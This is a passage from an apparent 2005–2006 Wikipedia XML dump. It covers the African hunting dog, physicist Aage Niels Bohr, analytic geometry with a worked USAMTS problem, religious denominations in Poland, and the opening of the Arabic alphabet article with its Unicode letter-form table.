}}

The '''African Hunting Dog''' (''Lycaon pictus''), also called '''African Wild Dog''', is a mammal of the [[Canidae]] family, and thus related to the domestic [[dog]]. It is the only [[species]] in its [[genus]], '''''Lycaon'''''. They are, as their name indicates, found only in [[Africa]], especially in scrub [[savanna]] and other lightly wooded areas. The Latin name of the species means ''painted wolf'' and it is characteristic of the species that no two individuals have the same pattern of coat.

[[Image:Lightmatter African painted dog.jpg|thumb|left|An African Hunting Dog gnawing on a bone]]
African Hunting Dogs hunt in packs. Their main prey are [[impala]] and similar medium sized [[ungulate]]s. They're known for their stamina and for being clever hunters -- they have been observed hunting prey in relays, or even blocking a potential escape route for prey. Their voice is characterized by an unusual chirping or squeaking sound, similar to a bird. Their need for a large territory has led to the situation where today they are threatened with extinction. Their relatively small physique also makes them vulnerable to attacks by their competitors, [[lion]]s and [[hyena]]s. They tend to be elusive and unlike most other members of the [[Canidae|dog family]], are extremely difficult to tame.

They have a highly complex social system, within which related adult members cooperate to produce a single litter of pups annually. Most populations have more males than females because more male pups appear in litters; it is very unusual among mammals to have this kind of gender bias.  Wild dogs will often regurgitate meat to other members of the group: older dogs, the young, and adults that have stayed behind to guard the young during hunting sojourns.

The current estimate for remaining wild dogs in the wild is approximately 5,600. Of these, the majority live in the two remaining large populations associated with the Selous Game Reserve in Tanzania and the population centered in northern Botswana and eastern Namibia. Isolated populations persist in Zambia, Kenya, Mozambique, Zimbabwe and South Africa.

(The photos displayed with this entry are of wild dogs in captivity.)

==See also==
[[Dhole]] - Indian Wild Dog

[[Category:Canines]]
[[Category:Wildlife of Africa]]

[[bg:Хиеново куче]]
[[da:Hyænehund]]
[[de:Afrikanischer Wildhund]]
[[es:Lycaon pictus]]
[[fr:Lycaon (mammifère)]]
[[he:זאב טלוא]]
[[it:Lycaon pictus]]
[[ja:リカオン]]
[[lt:Afrikos hieninis šuo]]
[[nl:Afrikaanse wilde hond]]
[[no:Afrikansk villhund]]
[[ru:Гиеновидная собака]]
[[sr:Дивљи пас]]
[[sv:Afrikansk vildhund]]</text>
    </revision>
  </page>
  <page>
    <title>Aage Niels Bohr</title>
    <id>2201</id>
    <revision>
      <id>40067029</id>
      <timestamp>2006-02-17T22:10:51Z</timestamp>
      <contributor>
        <username>Josteinn</username>
        <id>570474</id>
      </contributor>
      <minor />
      <comment>+no</comment>
      <text xml:space="preserve">[[Image:Bohr.gif|right|frame|Aage Niels Bohr]]

'''Aage Niels Bohr''' (born in [[Copenhagen]], [[Denmark]] on [[June 19]], [[1922]]) is the son of Margrethe and [[Niels Bohr]]. Growing up among [[physicists]] like [[Wolfgang Pauli]] and [[Werner Heisenberg]], he became a notable [[nuclear physics|nuclear physicist]] in his own right, being awarded the [[Nobel Prize in Physics]] in [[1975]]. In 1946 he became an associate at the [[Niels Bohr Institute]] of [[Theoretical Physics]] at the [[University of Copenhagen]]. He served as the director of the institute from [[1963]] to [[1970]]. 

In [[1948]] Bohr worked with [[Ben Roy Mottelson|Ben Mottelson]] and [[James Rainwater|Leo James Rainwater]] in [[Copenhagen]] to summarize the current knowledge of nuclear structure in a [[monograph]]. The first volume, Single-Particle Motion, appeared in [[1969]], and the second volume, Nuclear Deformations, in [[1975]]. Their efforts on this project and their collaboration on nuclear theory led all three of them to receive the [[1975]] [[Nobel Prize in Physics]], for research on the quantum mechanical description of [[nucleons]] orbiting inside a wobbly rotating droplet. 

==External links==
* [http://www.nobel-winners.com/Physics/aage_niels_bohr.html Aage Niels Bohr]


{{physicist-stub}}

[[Category:1922 births|Bohr, Aage Niels]]
[[Category:Living people|Bohr, Aage Niels]]
[[Category:Danish scientists|Bohr, Aage Niels]]
[[Category:Members of the Pontifical Academy of Sciences|Bohr, Aage]]
[[Category:Nobel Prize in Physics winners|Bohr, Aage Niels]]
[[Category:Members and associates of the US National Academy of Sciences|Bohr, Aage Niels]]

[[da:Aage Bohr]]
[[de:Aage Niels Bohr]]
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[[id:Aage N. Bohr]]
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[[pl:Aage Niels Bohr]]
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[[sl:Aage Niels Bohr]]
[[sv:Aage N. Bohr]]
[[zh:艾吉·尼尔斯·玻尔]]</text>
    </revision>
  </page>
  <page>
    <title>Analytic geometry</title>
    <id>2202</id>
    <revision>
      <id>33271510</id>
      <timestamp>2005-12-30T17:42:25Z</timestamp>
      <contributor>
        <ip>85.157.99.22</ip>
      </contributor>
      <text xml:space="preserve">'''Analytic geometry''', also called '''coordinate geometry''' and earlier referred to as '''Cartesian geometry''', is the study of [[geometry]] using the principles of [[algebra]]. Usually the [[Cartesian coordinate system]] is applied to manipulate [[equation]]s for planes, lines, curves, and circles, often in two and sometimes in three dimensions of measurement. As taught in school books, analytic geometry can be explained more simply: it is concerned with defining geometrical shapes in a numerical way, and extracting numerical information from that representation. The numerical output, however, might also be a [[Vector (spatial)|vector]] or a [[geometric shape|shape]]. Some consider that the introduction of analytic geometry was the beginning of modern [[mathematics]].

[[René Descartes]] is popularly regarded as having introduced the foundation for the methods of analytic geometry in [[1637]] in the appendix titled ''Geometry'' of the titled ''Discourse on the Method of Rightly Conducting the Reason in the Search for Truth in the Sciences'', commonly referred to as ''[[Discourse on Method]]''. This work, written in his native language ([[French language|French]]), and its philosophical principles, provided the foundation for [[calculus]] in Europe. 

==Important themes of analytical geometry==

* [[vector space]]
* definition of the [[plane (mathematics)|plane]]
* [[distance]] problems
* the [[dot product]], to get the angle of two vectors
* the [[cross product]], to get a perpendicular vector of two known vectors (and also their spatial volume)
* [[intersection (set theory)|intersection]] problems

Many of these problems involve [[linear algebra]]

== Example ==

Here is an example of a problem from the [[USAMTS]] that can be solved via analytic geometry:

'''Problem:''' In a convex pentagon &lt;math&gt;ABCDE&lt;/math&gt;, the sides have lengths &lt;math&gt;1&lt;/math&gt;, &lt;math&gt;2&lt;/math&gt;, &lt;math&gt;3&lt;/math&gt;, &lt;math&gt;4&lt;/math&gt;, and &lt;math&gt;5&lt;/math&gt;, though not necessarily in
that order. Let &lt;math&gt;F&lt;/math&gt;, &lt;math&gt;G&lt;/math&gt;, &lt;math&gt;H&lt;/math&gt;, and &lt;math&gt;I&lt;/math&gt; be the midpoints of the sides &lt;math&gt;AB&lt;/math&gt;, &lt;math&gt;BC&lt;/math&gt;, &lt;math&gt;CD&lt;/math&gt;, and &lt;math&gt;DE&lt;/math&gt;, respectively.
Let &lt;math&gt;X&lt;/math&gt; be the midpoint of segment &lt;math&gt;FH&lt;/math&gt;, and &lt;math&gt;Y&lt;/math&gt; be the midpoint of segment &lt;math&gt;GI&lt;/math&gt;. The length of
segment &lt;math&gt;XY&lt;/math&gt; is an integer. Find all possible values for the length of side &lt;math&gt;AE&lt;/math&gt;.

'''Solution:''' Let &lt;math&gt;A&lt;/math&gt;, &lt;math&gt;B&lt;/math&gt;, &lt;math&gt;C&lt;/math&gt;, &lt;math&gt;D&lt;/math&gt;, and &lt;math&gt;E&lt;/math&gt; be located at &lt;math&gt;A(0,0)&lt;/math&gt;, &lt;math&gt;B(a,0)&lt;/math&gt;, &lt;math&gt;C(b,e)&lt;/math&gt;, &lt;math&gt;D(c,f)&lt;/math&gt;, and &lt;math&gt;E(d,g)&lt;/math&gt;.

Using the [[midpoint]] formula, the points &lt;math&gt;F&lt;/math&gt;, &lt;math&gt;G&lt;/math&gt;, &lt;math&gt;H&lt;/math&gt;, &lt;math&gt;I&lt;/math&gt;, &lt;math&gt;X&lt;/math&gt;, and &lt;math&gt;Y&lt;/math&gt; are located at 

:&lt;math&gt;F\left(\frac{a}{2},0\right)&lt;/math&gt;, &lt;math&gt;G\left(\frac{a+b}{2},\frac{e}{2}\right)&lt;/math&gt;, &lt;math&gt;H\left(\frac{b+c}{2},\frac{e+f}{2}\right)&lt;/math&gt;, &lt;math&gt;I\left(\frac{c+d}{2},\frac{f+g}{2}\right)&lt;/math&gt;, &lt;math&gt;X\left(\frac{a+b+c}{4},\frac{e+f}{4}\right)&lt;/math&gt;, and &lt;math&gt;Y\left(\frac{a+b+c+d}{4},\frac{e+f+g}{4}\right).&lt;/math&gt;

Using the [[distance]] formula, 

:&lt;math&gt;AE=\sqrt{d^2+g^2}&lt;/math&gt; 

and 

:&lt;math&gt;XY=\sqrt{\frac{d^2}{16}+\frac{g^2}{16}}=\frac{\sqrt{d^2+g^2}}{4}.&lt;/math&gt;

Since &lt;math&gt;XY&lt;/math&gt; has to be an [[integer]], 
:&lt;math&gt;AE\equiv 0\pmod{4}&lt;/math&gt;
(see [[modular arithmetic]]) so &lt;math&gt;AE=4&lt;/math&gt;.

==Other uses==

'''Analytic geometry''', for [[algebraic geometry|algebraic geometers]], is also the name for the theory of (real or) [[complex manifold]]s and the more general '''analytic spaces''' defined locally by the vanishing of [[analytic function]]s of [[several complex variables]] (or sometimes real ones). It is closely linked to algebraic geometry, especially through the work of [[Jean-Pierre Serre]] in ''[[GAGA]]''. It is strictly a larger area than algebraic geometry, but studied by similar methods.

[[Category:Geometry]]
[[Category:Algebraic geometry]]

[[ca:Geometria analítica]]
[[de:Analytische Geometrie]]
[[et:Analüütiline geomeetria]]
[[es:Geometría analítica]]
[[fr:Géométrie analytique]]
[[io:Analizala geometrio]]
[[it:Geometria analitica]]
[[he:גאומטריה אנליטית]]
[[nl:Analytische meetkunde]]
[[ja:解析幾何学]]
[[pl:Geometria analityczna]]
[[pt:Geometria analítica]]
[[fi:Analyyttinen geometria]]
[[sv:Analytisk geometri]]
[[vi:Hình học giải tích]]
[[tr:Analitik geometri]]
[[uk:Аналітична геометрія]]
[[zh:解析几何]]</text>
    </revision>
  </page>
  <page>
    <title>Religious denominations in Poland</title>
    <id>2203</id>
    <revision>
      <id>30221229</id>
      <timestamp>2005-12-05T13:51:45Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pl</comment>
      <text xml:space="preserve">The constitution of [[Poland]] provides for [[freedom of religion]], and the Polish government generally respects this right in practice.

== The Polish Constitution and religion ==

&lt;br /&gt; Chapter 2, Article 53:
&lt;br /&gt; 1. Freedom of faith and religion shall be ensured to everyone. 
&lt;br /&gt; 2. Freedom of religion shall include the freedom to profess or to accept a religion by personal choice as well as to manifest such religion, either individually or collectively, publicly or privately, by worshipping, praying, participating in ceremonies, performing of rites or teaching. Freedom of religion shall also include possession of sanctuaries and other places of worship for the satisfaction of the needs of believers as well as the right of individuals, wherever they may be, to benefit from religious services. 
&lt;br /&gt; 3. Parents shall have the right to ensure their children a moral and religious upbringing and teaching in accordance with their convictions. The provisions of Article 48, para. 1 shall apply as appropriate. 
&lt;br /&gt; 4. The religion of a church or other legally recognized religious organization may be taught in schools, but other peoples' freedom of religion and conscience shall not be infringed thereby. 
&lt;br /&gt; 5. The freedom to publicly express religion may be limited only by means of statute and only where this is necessary for the defence of State security, public order, health, morals or the freedoms and rights of others. 
&lt;br /&gt; 6. No one shall be compelled to participate or not participate in religious practices. 
&lt;br /&gt; 7. No one may be compelled by organs of public authority to disclose his philosophy of life, religious convictions or belief.
&lt;br /&gt; 
&lt;br /&gt; Chapter 2, Article 85
&lt;br /&gt; 3. Any citizen whose religious convictions or moral principles do not allow him to perform military service may be obliged to perform substitute service in accordance with principles specified by statute.
&lt;br /&gt; 
&lt;br /&gt; Chapter 2, Article 35
&lt;br /&gt; 2. National and ethnic minorities shall have the right to establish educational and cultural institutions, institutions designed to protect religious identity, as well as to participate in the resolution of matters connected with their cultural identity.

== Major denominations in Poland ==

=== A list of churches according to special legislation ===

=== [[Catholic Church in Poland]] ===
(''see:'' [[Catholicism]], [[Roman Catholic Church]])

(Kościół Katolicki w Rzeczypospolitej Polskiej)
* Latin Rite (Obrządek Łaciński)
* Byzantine-Slavonic Rite (Obrządek Bizantyjsko-Słowiański)
* Armenian Rite (Obrządek Ormiański)
* [[Ukrainian Greek Catholic Church|Byzantine-Ukrainian Rite]] (Obrządek Bizantyjsko-Ukraiński)

legislation: 
&lt;br /&gt;Concordate between the [[Holy See|Apostolic Seat]] and the Republic of Poland signed [[28 July]] [[1993]] (Konkordat między Stolicą Apostolską i Rzeczpospolitą Polską podpisany  w Warszawie dnia 28 lipca 1993 r.  (Dz. U. Nr 51, poz. 318)
&lt;br /&gt; Act of State Relations to the Catholic Church Relations of [[17 May]] [[1989]] (Ustawa z dnia 17 maja 1989r. o stosunku Państwa do Kościoła Katolickiego w Rzeczypospolitej Polskiej. (Dz. U. Nr 29, poz. 154)
&lt;br /&gt; leaders: 
&lt;br /&gt; [[Józef Glemp]], [[Primate (religion)|Prymas]] of Poland,
&lt;br /&gt; Józef Michalik, Chairman of Polish Episcopate, 
&lt;br /&gt; Józef Kowalczyk, [[Apostolic Nuncio]] to Poland
&lt;br /&gt; [[Jan Martyniuk]], [[Archbishop]] [[Metropolitan bishop|Metropolite]] of Byzantine-Ukrainian Rite

=== Polish Autocephalous Orthodox Church ===
(''see:'' [[Eastern Orthodoxy]])

(Polski Autokefaliczny Kościół Prawosławny)
legislation: Act of State Relations to the Polish Autocephalous Orthodox ChurchState of [[4 July]] [[1991]] (Ustawa z dnia 4 lipca 1991 r. o stosunku Państwa do Polskiego Autokefalicznego Prawosławnego Kościoła - Dz. U. Nr 66, poz. 287).  

leaders: Abp Metropolita Warszawski i Całej Polski Sawa, Zwierzchnik Kościoła
Przewodniczący Soboru Biskupów 

=== Evangelic-Reformist Church in Poland ===

(Kościół Ewangelicko-Reformowany w Rzeczypospolitej Polskiej 

legislation: Ustawa z dnia 13 maja  1994 r. o stosunku Państwa do Kościoła Ewangelicko-Reformowanego w Rzeczypospolitej Polskiej (Dz. U. Nr 73, poz. 324).  
leaders: Prezes Konsystorza Dr Witold Brodziński 

=== Evangelic-Augsburg Church in Poland ===

(Kościół Ewangelicko- Augsburski w Rzeczypospolitej Polskiej)

legislation: Ustawa z dnia 13 maja  1994 r.o stosunku Państwa do Kościoła  Ewangelicko-Augsburskiego w Rzeczypospolitej Polskiej (Dz. U. Nr 73, poz. 323). 

leader: Biskup Kościoła ks. Janusz Jagucki, Prezes Konsystorza
 
=== Evangelic-Methodist Church in Poland ===

(Kościół Ewangelicko-Metodystyczny w Rzeczypospolitej Polskiej)

law: Ustawa z dnia 30 czerwca 1995 r. o stosunku Państwa do Kościoła Ewangelicko-Metodystycznego (Dz. U. Nr 97, poz. 479).  
leader: Zwierzchnik Kościoła ks.bp Edward Puślecki 

=== Old-Catholic Church of the Mariavites in Poland ===


(Starokatolicki Kościół Mariawitów w Rzeczypospolitej Polskiej.)

law:  Ustawa z dnia 20 lutego 1997r. o stosunku Państwa  do   Starokatolickiego Kościoła  Mariawitów w Rzeczypospolitej Polskiej. (Dz. U. Nr 41, poz. 253). 
leader: Biskup Naczelny ks. Zdzisław M. Włodzimierz

=== Catholic Church of the Mariavites in Poland ===
(''see:'' [[Mariavite Church]])

(Kościół Katolicki Mariawitów w Rzeczypospolitej Polskiej)

law: Ustawa z dnia 20 lutego 1997r. o stosunku Państwa do Kościoła Katolickiego Mariawitów w Rzeczypospolitej Polskiej.  (DZ. U. Nr 41 poz. 252).  
leader: Abp Kościoła Józef Maria Rafael Wojciechowski, Przewodniczący
Rady Przełożonych Kościoła 

=== Eastern Old-Rites Church in Poland ===

(Wschodni Kościół Staroobrzędowy  w Rzeczypospolitej Polskiej nie posiadającego hierarchii duchownej)

law: Rozporządzenie Prezydenta Rzeczypospolitej Polskiej z dnia 28 marca 1928 r.  o stosunku Państwa do Wschodniego Kościoła Staroobrzędowego nie  posiadający hierarchii duchownej (Dz. U. Nr 38, poz. 363 z 1928 r.).
leader: Przewodniczący Naczelnej Rady Wacław Jafiszow 

=== Islamic Religious Union in Poland ===

(Muzułmański Związek Religijny w Rzeczypospolitej)

law:  Polskiej Ustawa z dnia 21 kwietnia 1936 r. o stosunku Państwa do Muzułmańskiego Związku Religijnego w Rzeczypospolitej Polskiej.  (Dz. U. Nr 30, poz. 240 z 1936r.).
leader: Przewodniczący Najwyższego Kolegium Muzułmańskiego Stefan Korycki 

=== Karaim Religious Union in Poland ===

(Karaimski Związek  Religijny w Rzeczypospolitej Polskiej)

law:  Ustawa z dnia 21 kwietnia 1936 r. o stosunku Państwa do Karaimskiego Związku Religijnego w Rzeczypospolitej  Polskiej. (Dz. U. Nr 30, poz. 241 z 1936 r.).  
leader: Przewodniczący Zarządu Związku prof. dr hab. Szymon Pilecki 

=== Polish-Catholic Church in Poland ===

(Kościół Polskokatolicki w Rzeczypospolitej Polskiej)

law: Ustawa z dnia 30 czerwca 1995 r. o stosunku Państwa do Kościoła Polskokatolickiego w Rzeczypospolitej Polskiej. (Dz. U. Nr 97, poz. 482).  

leader: Biskup prof. dr hab.Wiktor Wysoczański, Zwierzchnik Kościoła, Przewodniczący Rady Synodalnej 

=== Seventh Day Adventists Church in Poland ===

(Kościół Adwentystów Dnia Siódmego w Rzeczypospolitej Polskiej)

law: Ustawa z dnia 30 czerwca 1995 r. o stosunku Państwa do Kościoła Adwentystów Dnia Siódmego w Rzeczypospolitej Polskiej. (Dz. U. Nr 97, poz. 481).
leader: ks. Paweł Lazar, Przewodniczący Kościoła 

=== Baptist Christians Church in Poland ===
(''see:'' [[Baptist Church]]; [[Baptist Union of Poland]])


(Kościół Chrześcijan Baptystów w Rzeczypospolitej Polskiej)

law: Ustawa z dnia 30 czerwca 1995 r. o stosunku Państwa do Kościoła Chrześcijan Baptystów w Rzeczypospolitej Polskiej. (Dz. U. Nr 97, poz. 480). 

leader: Prezbiter Kościoła Andrzej Seweryn, Przewodniczący Rady Kościoła

=== Union of Jewish Confessional Communities in Poland ===

(Związek Gmin Wyznaniowych Żydowskich w Rzeczypospolitej Polskiej) 

law: Ustawa z dnia 20 lutego 1997 r. o stosunku Państwa do Gmin Wyznaniowych Żydowskich  w Rzeczypospolitej Polskiej (Dz. U. Nr 41, poz. 251). &lt;br&gt;
leaders: &lt;br&gt;
President of the Main Board - [[Piotr Kadlcik]] &lt;br&gt;
[[Chief rabbi]] of Poland - [[Michael Schudrich]]

=== Pentecost Church in Poland ===

(Kościół Zielonoświątkowy w Rzeczypospolitej Polskiej)

law: Ustawa z dnia 20 lutego 1997 r. o stosunku Państwa do Kościoła Zielonoświątkowego  w Rzeczypospolitej  Polskiej (Dz. U. Nr 41, poz. 254).  

leader: Prezbiter Naczelny, Przewodniczący Naczelnej Rady Kościoła, Mieczysław Czajko

== List of minor denominations registered in Poland ==

(Currently available only in Polish, see [[Talk:Religious freedom in Poland|talk page]])

== Relations between denominations ==

Relations between the various religious communities are generally amicable.

See also: [[Poland]], [[Religious pluralism]], [[Religious freedom]]

== Threats to religious freedom ==

[[Anti-Semitism]] persists among certain sectors of the population, occasionally manifesting themselves in acts of vandalism and physical or verbal abuse. However, surveys in recent years show a continuing decline in anti-Semitic sentiment, and avowedly anti-Semitic candidates fare very poorly in elections. ''See [[History of the Jews in Poland]].''

== External links ==

*[http://www.mswia.gov.pl/wyzn_zw_in.html List of churches and religious unions registered according to special legislation]
*[http://www.mswia.gov.pl/wyzn_zw.html  List of churches and religious unions from the Register of the Ministry of Internal Affairs and Administration]

[[Category:Religion in Poland]]

[[de:Konfessionen in Polen]]
[[pl:Kościoły i związki wyznaniowe w Polsce]]</text>
    </revision>
  </page>
  <page>
    <title>Arabic alphabet</title>
    <id>2204</id>
    <revision>
      <id>41839499</id>
      <timestamp>2006-03-02T02:02:43Z</timestamp>
      <contributor>
        <ip>86.207.167.94</ip>
      </contributor>
      <comment>/* Ligatures */</comment>
      <text xml:space="preserve">{{Arabic alphabet}}
{{alphabet}}
The '''Arabic alphabet''' is the [[writing system|script]] used for writing in the [[Arabic language]]. 

Because the [[Qur'an]], the holy book of [[Islam]], is written with this alphabet, its influence spread with that of Islam. As a result, the Arabic alphabet is used to write many other languages&amp;mdash;many other languages belonging to [[language family|language families]] other than [[Semitic language|Semitic]], the family Arabic belongs to, for example, the [[Persian language|Persian]] and [[Urdu language|Urdu]] languages. In order to accommodate the phonetics of other languages, the alphabet has been adapted by the addition of letters and other symbols. (See [[#Arabic alphabets of other languages|Arabic alphabets of other languages]] below).

The alphabet presents itself in different styles such as [[Nasta'līq]], [[Thuluth]], [[Kufic]] and others (see [[Arabic calligraphy]]), just like different [[script (styles of handwriting)|handwriting styles]] and [[typeface]]s for the [[Roman alphabet]]. Superficially, these styles appear quite different, but the basic letterforms remain the same.

==Structure of the Arabic alphabet==
The Arabic alphabet is written from right to left and is composed of 28 basic letters. Adaptations of the script for other languages such as [[Persian language|Persian]] and [[Urdu language|Urdu]] have additional letters. There is no difference between written and printed letters; the writing is [[unicase]] (i.e. the concept of [[Letter case|upper and lower case]] letters does not exist). On the other hand, most of the letters are attached to one another, even when printed, and their appearance changes as a function of whether they connect to preceding or following letters. Some combinations of letters form special [[ligature (typography)|ligature]]s.

The Arabic alphabet is an &quot;impure&quot; [[abjad]]&amp;mdash;[[vowel length|short vowels]] are not written, though long ones are&amp;mdash;so the reader must know the language in order to restore the vowels. However, in editions of the Qur'an or in didactic works a vocalization notation in the form of [[diacritic]] marks is used. Moreover, in vocalized texts, there is a series of other diacritics of which the most modern are an indication of vowel omission ''(sukūn)'' and the lengthening of consonants ''(šadda)''.

The names of Arabic letters can be thought of as abstractions of an older version where the names of the letters signified meaningful words in the [[Proto-Semitic]] language.

There are two orders for Arabic letters in the alphabet, the original Abjadī {{Arabiyyah|أبجدي}} order matches the ordering of letters in all alphabets derived from the [[Phoenician alphabet]], including the English ABC. The standard order used today, and shown in the table, is the Hejā'ī {{Arabiyyah|هجائي}} order, where letters are grouped according to their shape.

===Abjadi order===
{{main|abjadi order}}
The special Abjadī order (or two slightly variant orders) was devised by matching an Arabic letter of the fully consonant-dotted 28-letter Arabic alphabet to each of the 22 letters of the [[Aramaic alphabet]] (in their old [[Phoenician alphabet|Phoenician]] alphabetic order) — leaving six remaining Arabic letters at the end. 

The most common Abjad sequence is:
{| cellpadding=&quot;2px&quot;
|{{Ar|أ}}
|{{Ar|ب}}
|{{Ar|ج}}
|{{Ar|د}}
|{{Ar|ﻫ}}
|{{Ar|و}}
|{{Ar|ز}}
|{{Ar|ح}}
|{{Ar|ط}}
|{{Ar|ي}}
|{{Ar|ك}}
|{{Ar|ل}}
|{{Ar|م}}
|{{Ar|ن}}
|{{Ar|س}}
|{{Ar|ع}}
|{{Ar|ف}}
|{{Ar|ص}}
|{{Ar|ق}}
|{{Ar|ر}}
|{{Ar|ش}}
|{{Ar|ت}}
|{{Ar|ث}}
|{{Ar|خ}}
|{{Ar|ذ}}
|{{Ar|ض}}
|{{Ar|ظ}}
|{{Ar|غ}}
|-
|{{ArabDIN|ʼ}}
|{{ArabDIN|b}}
|{{ArabDIN|ǧ}}
|{{ArabDIN|d}}
|{{ArabDIN|h}}
|{{ArabDIN|w}}
|{{ArabDIN|z}}
|{{ArabDIN|ḥ}}
|{{ArabDIN|ṭ}}
|{{ArabDIN|y}}
|{{ArabDIN|k}}
|{{ArabDIN|l}}
|{{ArabDIN|m}}
|{{ArabDIN|n}}
|{{ArabDIN|s}}
|{{ArabDIN|ʻ}}
|{{ArabDIN|f}}
|{{ArabDIN|ṣ}}
|{{ArabDIN|q}}
|{{ArabDIN|r}}
|{{ArabDIN|š}}
|{{ArabDIN|t}}
|{{ArabDIN|ṯ}}
|{{ArabDIN|ḫ}}
|{{ArabDIN|ḏ}}
|{{ArabDIN|ḍ}}
|{{ArabDIN|ẓ}}
|{{ArabDIN|ġ}}
|}
This is commonly vocalized as follows:
:*{{ArabDIN|ʼabǧad hawwaz ḥuṭṭī kalaman saʻfaṣ qarašat ṯaḫaḏ ḍaẓaġ}}.
Another vocalization is:
:*{{ArabDIN|ʼabuǧadin hawazin ḥuṭiya kalman saʻfaṣ qurišat ṯaḫuḏ ḍaẓuġ}}

Another Abjad sequence, mainly confined to the Maghreb, is:
{| cellpadding=&quot;2px&quot;
|{{Ar|ﺃ}}
|{{Ar|ﺏ}}
|{{Ar|ﺝ}}
|{{Ar|ﺩ}}
|{{Ar|ﻫ}}
|{{Ar|ﻭ}}
|{{Ar|ﺯ}}
|{{Ar|ﺡ}}
|{{Ar|ﻁ}}
|{{Ar|ﻱ}}
|{{Ar|ﻙ}}
|{{Ar|ﻝ}}
|{{Ar|ﻡ}}
|{{Ar|ﻥ}}
|{{Ar|ﺹ}}
|{{Ar|ﻉ}}
|{{Ar|ﻑ}}
|{{Ar|ﺽ}}
|{{Ar|ﻕ}}
|{{Ar|ﺭ}}
|{{Ar|ﺱ}}
|{{Ar|ﺕ}}
|{{Ar|ﺙ}}
|{{Ar|ﺥ}}
|{{Ar|ﺫ}}
|{{Ar|ﻅ}}
|{{Ar|ﻍ}}
|{{Ar|ﺵ}}
|-
|{{ArabDIN|ʼ}}
|{{ArabDIN|b}}
|{{ArabDIN|ǧ}}
|{{ArabDIN|d}}
|{{ArabDIN|h}}
|{{ArabDIN|w}}
|{{ArabDIN|z}}
|{{ArabDIN|ḥ}}
|{{ArabDIN|ṭ}}
|{{ArabDIN|y}}
|{{ArabDIN|k}}
|{{ArabDIN|l}}
|{{ArabDIN|m}}
|{{ArabDIN|n}}
|{{ArabDIN|ṣ}}
|{{ArabDIN|ʻ}}
|{{ArabDIN|f}}
|{{ArabDIN|ḍ}}
|{{ArabDIN|q}}
|{{ArabDIN|r}}
|{{ArabDIN|s}}
|{{ArabDIN|t}}
|{{ArabDIN|ṯ}}
|{{ArabDIN|ḫ}}
|{{ArabDIN|ḏ}}
|{{ArabDIN|ẓ}}
|{{ArabDIN|ġ}}
|{{ArabDIN|š}}
|}

which can be vocalized as:
:*{{ArabDIN|ʼabuǧadin hawazin ḥuṭiya kalman ṣaʻfaḍ qurisat ṯaḫuḏ ẓaġuš}}

See also: [[Abjad numerals]].

== Presentation of the alphabet ==
[[Image:Arabic_alphabet.png|right|Arabic Alphabet]]

The following table provides all of the [[Unicode]] characters for Arabic, and none of the supplementary letters used for other languages. The transliteration given is the widespread [[DIN 31635]] standard, with some common alternatives. See the article ''[[Arabic transliteration]]'' for details and various other transliteration schemes.

Regarding pronunciation, the phonetic values given are those of the &quot;standard&quot; pronunciation of the ''[[Fusha (language)|fusha]]'' language as taught in universities. Actual pronunciation between the [[varieties of Arabic]] may vary widely. For more details concerning the pronunciation of Arabic, consult the article ''[[Arabic phonology]]''.

===Primary letters===
The Arabic script is cursive, and all primary letters have conditional forms for their glyphs, depending on whever they are at the begining, middle or end of a word, so they may exhibit 4 distinct forms (initial, medial, final or isolated). Six letters however only have isolated or final form, and if they followed by another letter, they do not join with it, and so this next letter can only have their initial or isolated form despite is is not an initial.

For compatibility with previous standards, Unicode encoded all these forms separately, however these forms can be infered from their joining context, using the same encoding. The table below shows this common encoding, in addition to the compatibility encodings for their normally contextual forms (Arabic texts should be encoded today using only the common encoding, but the rendering must then infer the joining types to determine the correct glyph forms, with or without ligation).

{|class=&quot;wikitable&quot;
|-
!rowspan=&quot;2&quot;|General&lt;br /&gt;Unicode
!colspan=&quot;4&quot;|Contextual forms
!rowspan=&quot;2&quot;|Name
!rowspan=&quot;2&quot;|Translit.
!rowspan=&quot;2&quot;|Phonetic Value (IPA)
|-
!Isolated
!Final
!Medial
!Initial
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0627&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0627;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE8D&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE8D;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE8E&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE8E;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;background:#EEEEEE&quot; colspan=&quot;2&quot;|—
|{{ArabDIN|[[ʼalif]]}}
|{{ArabDIN|ʾ}} / {{ArabDIN|ā}}
|various, including {{IPA|[æː]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;0628&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x0628;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE8F&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE8F;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE90&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE90;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE92&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE92;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE91&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE91;}}&lt;/font&gt;
|{{ArabDIN|[[bāʼ]]}}
|{{ArabDIN|b}}
|{{IPA|[b]}}
|-align=&quot;center&quot;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;062A&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#x062A;}}&lt;/font&gt;
|style=&quot;line-height:180%;padding:10px;&quot;|&lt;small&gt;FE95&lt;/small&gt;&lt;br /&gt;&lt;font size=&quot;5&quot;&gt;{{Ar|&amp;#xFE95;}}&lt;/font&gt; 
